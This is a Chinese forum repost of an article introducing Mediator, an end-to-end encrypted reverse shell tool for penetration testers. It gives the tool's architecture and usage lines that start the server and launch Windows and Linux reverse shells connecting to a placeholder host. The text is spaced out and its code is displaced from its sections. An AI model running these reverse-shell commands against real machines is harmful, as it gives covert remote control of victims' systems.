搜索

[16877] 2021-06-07_Mediator：一款功能强大的端到端加密反向Shell

文档创建者：s7ckTeam
浏览次数：25
最后更新：2025-01-18
2021-06-07_Mediator：一款功能强大的端到端加密反向Shell M e d i a t o r ： 一 款 功 能 强 大 的 端 到 端 加 密 反 向 S h e l l A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 6 - 0 7 关 于 关 于 M e d i a t o r M e d i a t o r 是 一 款 功 能 强 大 的 端 到 端 加 密 反 向 S h e l l ， 该 工 具 能 够 帮 助 研 究 人 员 跟 一 台 “ M e d i a t o r ” 服 务 器 通 过 一 个 S h e l l 连 接 起 来 ， 这 样 就 不 需 要 研 究 人 员 或 处 理 程 序 设 置 端 口 转 发 来 监 听 连 接 。 除 此 之 外 ， M e d i a t o r 还 允 许 我 们 创 建 插 件 来 扩 展 反 向 S h e l l 的 功 能 。 广 大 研 究 人 员 可 以 将 M e d i a t o r 的 脚 本 作 为 独 立 的 可 执 行 文 件 运 行 ， 也 可 以 将 它 们 导 入 到 其 他 渗 透 测 试 工 具 或 事 件 响 应 工 具 中 使 用 。 M e d i a t o r 架 构 架 构 受 端 到 端 加 密 聊 天 应 用 程 序 的 启 发 ， M e d i a t o r 对 反 向 S h e l l 的 客 户 端 / 服 务 器 端 模 型 采 用 了 独 特 的 方 法 。 M e d i a t o r 使 用 了 ： 一 个 客 户 端 反 向 S h e l l ； 一 个 客 户 端 处 理 器 / 操 作 方 ； 一 台 用 于 桥 接 两 条 连 接 的 服 务 器 ； 反 向 s h e l l 和 处 理 程 序 使 用 了 一 个 连 接 密 钥 连 接 到 中 介 服 务 器 。 服 务 器 在 端 口 8 0 上 侦 听 处 理 程 序 连 接 ， 在 端 口 4 4 3 上 侦 听 反 向 S h e l l 连 接 。 当 客 户 端 连 接 至 中 介 服 务 器 之 后 ， 服 务 器 会 根 据 客 户 端 各 自 的 类 型 和 连 接 密 钥 对 其 进 行 排 队 。 当 反 向 S h e l l 和 操 作 方 都 使 用 相 同 的 密 钥 连 接 到 服 务 器 时 ， 服 务 器 将 桥 接 这 两 个 连 接 。 此 时 ， 两 台 客 户 端 之 间 会 进 行 密 钥 交 换 ， 反 向 S h e l l 和 操 作 方 之 间 的 所 有 通 信 都 是 端 到 端 加 密 的 ， 这 样 也 确 保 了 服 务 器 不 能 窥 探 它 正 在 传 输 的 流 数 据 。 插 件 系 统 插 件 系 统 M e d i a t o r 的 插 件 系 统 允 许 我 们 添 加 额 外 的 命 令 ， 这 些 命 令 可 以 在 操 作 方 的 主 机 、 目 标 主 机 或 两 者 同 时 执 行 代 码 ！ 工 具 说 明 工 具 说 明 服 务 器 端 服 务 器 端 客 户 端 脚 本 可 以 在 W i n d o w s 或 L i n u x 系 统 平 台 上 运 行 ， 但 你 需 要 在 一 台 L i n u x 主 机 上 配 置 并 运 行 服 务 器 （ m e d i a t o r . p y ） 。 服 务 器 端 采 用 纯 P y t h o n 开 发 ， 因 此 不 需 要 任 何 其 他 的 依 赖 环 境 ， 广 大 研 究 人 员 可 以 使 用 下 列 命 令 开 启 服 务 器 端 脚 本 ： $   p y t h o n 3   m e d i a t o r . p y
或 者 ， 你 也 可 以 使 用 提 供 的 D o c k e r f i l e 来 构 建 一 个 D o c k e r 镜 像 ， 并 在 一 个 容 器 中 运 行 M e d i a t o r 。 客 户 端 客 户 端 你 需 要 安 装 r e q u i r e m e n t s . t x t 文 件 中 定 义 的 依 赖 组 件 ， 运 行 下 列 命 令 即 可 ： 处 理 程 序 和 反 向 S h e l l 可 以 在 其 他 脚 本 中 运 行 ， 或 直 接 通 过 命 令 行 运 行 。 在 任 意 情 况 下 ， 脚 本 都 可 以 接 收 服 务 器 地 址 和 连 接 密 钥 作 为 输 入 参 数 。 M e d i a t o r 服 务 器 地 址 服 务 器 地 址 对 于 P y t h o n 脚 本 的 运 行 ， M e d i a t o r 主 机 的 地 址 需 要 通 过 下 列 参 数 进 行 初 始 化 ： H a n d l e r 类 ： 类 ： W i n d o w s R S h e l l 类 ： 类 ： 如 果 直 接 从 一 个 S h e l l 运 行 客 户 端 脚 本 ， 你 可 以 在 脚 本 的 底 部 硬 编 码 进 服 务 器 端 地 址 ， 或 者 通 过 - s 或 — s e r v e r 选 项 来 指 定 服 务 器 地 址 ： h a n d l e r . p y ： ： w i n d o w s T a r g e t . p y ： ： 连 接 密 钥 连 接 密 钥 当 两 个 处 理 程 序 或 两 个 反 向 S h e l l 使 用 相 同 的 连 接 密 钥 连 接 至 M e d i a t o r 服 务 器 时 ， 只 有 第 一 个 连 接 会 被 加 入 等 待 队 列 中 。 在 排 队 的 连 接 超 时 （ 3 0 秒 ） 或 与 对 应 的 连 接 匹 配 之 前 ， 尝 试 使 用 相 同 连 接 密 钥 连 接 的 所 有 其 他 相 同 类 型 的 客 户 端 都 将 被 丢 弃 。 重 要 的 是 要 确 保 每 个 处 理 程 序 都 使 用 唯 一 的 连 接 密 钥 ， 以 避 免 竞 争 条 件 导 致 错 误 的 S h e l l 被 提 供 给 操 作 方 。 服 务 器 端 只 接 收 以 ” # ! C o n n e c t i o n K e y _ ” 为 前 缀 的 密 钥 ， 默 认 密 钥 为 ” # ! C o n n e c t i o n K e y _ C H A N G E _ M E ! ! ! ” 。 如 需 修 改 连 接 密 钥 ， 可 以 选 择 在 实 例 化 时 进 行 设 置 ： H a n d l e r 类 ： 类 ： $   p y t h o n 3   m e d i a t o r . p y $   p i p 3   i n s t a l l   - r   r e q u i r e m e n t s . t x t f r o m   h a n d l e r   i m p o r t   H a n d l e r o p e r a t o r   =   H a n d l e r ( m e d i a t o r H o s t = " e x a m p l e . c o m " ) o p e r a t o r . r u n ( ) f r o m   w i n d o w s T a r g e t   i m p o r t   W i n d o w s R S h e l l s h e l l   =   W i n d o w s R S h e l l ( m e d i a t o r H o s t = " e x a m p l e . c o m " ) s h e l l . r u n ( ) $   p y t h o n 3   h a n d l e r . p y   - s   e x a m p l e . c o m >   p y t h o n   w i n d o w s T a r g e t . p y   - s   e x a m p l e . c o m
L i n u x R S h e l 类 ： 类 ： 如 果 直 接 从 一 个 S h e l l 执 行 客 户 端 脚 本 ， 则 可 以 直 接 在 脚 本 末 尾 硬 编 码 进 连 接 密 钥 ， 或 者 通 过 - c 或 — c o n n e c t i o n - k e y 参 数 指 定 连 接 密 钥 ： h a n d l e r . p y ： ： w i n d o w s T a r g e t . p y ： ： 项 目 地 址 ： 点 击 底 部 【 阅 读 原 文 】 获 取 精 彩 推 荐 精 彩 推 荐 f r o m   h a n d l e r   i m p o r t   H a n d l e r o p e r a t o r   =   H a n d l e r ( m e d i a t o r H o s t = " e x a m p l e . c o m " ,   c o n n e c t i o n K e y = " # ! C o n n e c t i o n K e y _ s e c r e t _ k e y " ) o p e r a t o r . r u n ( ) f r o m   l i n u x T a r g e t   i m p o r t   L i n u x R S h e l l s h e l l   =   L i n u x R S h e l l ( m e d i a t o r H o s t = " e x a m p l e . c o m " ,   c o n n e c t i o n K e y = " # ! C o n n e c t i o n K e y _ s e c r e t _ k e y " ) s h e l l . r u n ( ) $   p y t h o n 3   h a n d l e r . p y   - s   e x a m p l e . c o m   - c   ' # ! C o n n e c t i o n K e y _ s e c r e t _ k e y ' >   p y t h o n   w i n d o w s T a r g e t . p y   - s   e x a m p l e . c o m   - c   ' # ! C o n n e c t i o n K e y _ s e c r e t _ k e y '
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理